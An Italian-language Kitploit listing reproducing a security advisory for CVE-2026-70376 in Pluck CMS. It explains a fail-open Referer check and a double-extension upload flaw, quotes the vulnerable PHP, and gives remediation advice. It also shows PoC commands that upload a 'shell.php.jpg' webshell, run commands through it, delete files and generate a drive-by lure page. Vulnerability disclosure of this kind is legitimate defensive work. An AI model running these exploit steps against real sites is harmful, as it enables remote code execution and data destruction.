Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-70376 — Advisory e PoC Python per Pluck CMS CSRF: il controllo Referer fail-open e il caricamento a doppia estensione consentono l'implementazione di webshell e l'esecuzione remota di codice. | Kitploit
Strumenti/GitHubGitHub/ilhomjonr/cve-2026-70376
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Advisory e PoC Python per Pluck CMS CSRF: il controllo Referer fail-open e il caricamento a doppia estensione consentono l'implementazione di webshell e l'esecuzione remota di codice.

Vedi Repository
328 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-70376 — CSRF a livello di sito in Pluck CMS → RCE

Controllo Referer fail-open + assenza di token CSRF + upload a doppia estensione

Una singola visita di una pagina da parte di un admin elimina contenuti, inietta pagine e rilascia una webshell

CVE CVSS 3.1 CWE CWE

Product Status Researcher

A colpo d'occhio · Riepilogo · Causa principale · Catena d'attacco · Exploit · Rimedi · Cronologia


📋 A colpo d'occhio

ID CVECVE-2026-70376
ID di tracciamentoPT-2026-68036
Prodottopluck-cms/pluck — Pluck CMS (flat-file PHP)
Versioni affette4.7.x fino a 4.7.21-dev / master attuale
DebolezzaCWE-352 (CSRF) · CWE-434 (upload senza restrizioni, amplificatore)
CVSS v3.18.0 — Alto · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
VettoreRete · nessun privilegio · una sola visita di pagina da parte di un admin (UI:R)
ImpattoDistruzione di contenuti/DoS, iniezione di contenuti persistenti, RCE su Apache/mod_php
Introdottacommit f79f916 (dic 2019) — logica vulnerabile presente da allora
RicercatoreIlhomjon Rustamov (@IlhomjonR)

🔎 Riepilogo

Il pannello di amministrazione di Pluck non ha token CSRF per-request in nessun punto del codebase. Ogni azione amministrativa che modifica lo stato è protetta da una singola funzione, requestedByTheSameDomain(), la cui unica difesa è un confronto dell'host del Referer — e quel controllo fallisce in modalità fail-open: quando una richiesta arriva senza alcuna intestazione Referer, la funzione restituisce true e l'azione viene consentita.

Poiché una pagina dell'attaccante controlla completamente se viene inviato un Referer (<meta name="referrer" content="no-referrer">), qualsiasi amministratore autenticato che visiti una pagina dannosa può essere costretto a eseguire azioni privilegiate cross-site. Diverse azioni distruttive vengono eseguite tramite GET e Pluck non imposta nessun attributo SameSite su PHPSESSID (i browser applicano SameSite=Lax, che viene comunque inviato nelle navigazioni GET di primo livello), quindi sono raggiungibili cross-site con le impostazioni predefinite del browser.

Una debolezza secondaria nel filtro di upload consente allo stesso CSRF di collocare un file a doppia estensione shell.php.jpg — trasformando il CSRF in una RCE drive-by su host Apache/mod_php.


🧬 Causa principale

1. Controllo Referer fail-open — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

Una richiesta cross-site con un Referer esterno viene correttamente respinta (il ramo else), il che crea un falso senso di protezione — ma l'attaccante si limita a sopprimere il Referer, raggiunge il ramo fail-open e la richiesta viene consentita. Dietro questo controllo non esiste alcun livello di token.

Il controllo viene applicato una volta in admin.php e considerato attendibile per l'intero switch delle azioni:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. Nessun SameSite sul cookie di sessione (amplificatore)

Pluck non chiama mai session_set_cookie_params(), quindi PHPSESSID eredita il valore predefinito vuoto → i browser applicano SameSite=Lax, che viene comunque inviato nelle navigazioni GET di primo livello. Le azioni esposte via GET (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) sono quindi falsificabili con una singola visita di pagina.

3. Upload a doppia estensione — data/inc/images.php (amplificatore RCE)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

Entrambi i controlli possono essere aggirati banalmente:

  • il tipo MIME proviene dal client ($_FILES[...]['type']) → impostare image/jpeg;
  • vengono validati solo gli ultimi 4 caratteri del nome del file → shell.php.jpg termina con .jpg e supera il controllo.

Il file viene scritto in images/shell.php.jpg; su un host Apache/mod_php con gestione delle estensioni multiple viene eseguito come PHP.


⛓️ Catena d'attacco

Una sola visita di pagina da parte di un admin autenticato — nessun clic.

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Le azioni falsificabili includono:

AzioneMetodoImpatto
admin.php?action=deletefile&var1=<f>GETElimina un file caricato arbitrario
admin.php?action=deletepage&...GETElimina le pagine del sito (DoS)
admin.php?action=module_delete&...GETRimuove i moduli
admin.php?action=logoutGETDisconnette l'admin
admin.php?action=editpagePOSTInietta contenuto persistente nelle pagine
admin.php?action=images (upload)POSTColloca shell.php.jpg → RCE

💥 Exploit

Un kit PoC funzionante si trova in exploit/:

  • pluck_csrf_rce.py — dimostra la logica fail-open, carica una webshell via CSRF ed esegue comandi, elimina file via CSRF oppure genera un'esca (lure).
  • csrf_poc.html — la pagina drive-by autonoma consegnata a un admin vittima.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Le richieste Python inviano deliberatamente nessun Referer, riproducendo esattamente un browser vittima con una policy no-referrer. L'asimmetria a livello HTTP che conferma la logica:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ Il passaggio .php.jpg → RCE richiede un host Apache/mod_php che esegua i file a estensioni multiple tramite PHP. Dove ciò non è configurato, l'upload via CSRF riesce comunque e le primitive distruttive delete/deletepage non vengono influenzate — il CSRF è il bug principale; la RCE è l'amplificatore.


🛠️ Rimedi

  1. Aggiungere un vero token CSRF — un nonce casuale per-sessione in ogni modulo di amministrazione e in ogni collegamento che modifica lo stato, verificato lato server con un confronto a tempo costante. Questa è la correzione vera e propria; il controllo del Referer non è un sostituto.
  2. Fail closed — se la validazione dell'origine viene mantenuta come difesa in profondità, considerare un Referer/Origin assente come non attendibile. Preferire l'intestazione Origin e rifiutare quando è mancante o non corrispondente.
  3. Non modificare mai lo stato tramite GET — spostare deletefile, deletepage, logout, ecc. su POST, così SameSite=Lax fornisce una protezione di base.
  4. Indurire il cookie di sessione — impostare SameSite=Strict (o Lax), HttpOnly e Secure tramite session_set_cookie_params().
  5. Correggere il filtro di upload — validare il nome finale del file salvato rispetto a una allow-list di estensioni esatte, verificare che il contenuto sia realmente un'immagine e non fidarsi mai del tipo MIME fornito dal client.

🕒 Cronologia

DataEvento
2019-12Introdotta la logica vulnerabile requestedByTheSameDomain() (f79f916)
2026-07-08Scoperta tramite audit del codice sorgente; PoC end-to-end verificato
2026-08-10Bozza dell'advisory (PT-2026-68036)
2026-08-12Assegnato CVE-2026-70376; advisory + PoC pubblicati

📚 Riferimenti

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: Cross-Site Request Forgery — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: Unrestricted Upload of File with Dangerous Type — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ Disclaimer

Questo materiale è pubblicato per scopi educativi e difensivi e solo per test di sicurezza autorizzati. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita e scritta al test. L'autore non si assume alcuna responsabilità per l'uso improprio.

Trovato e documentato da @IlhomjonR · CVE-2026-70376 · PT-2026-68036

Scarica lo strumento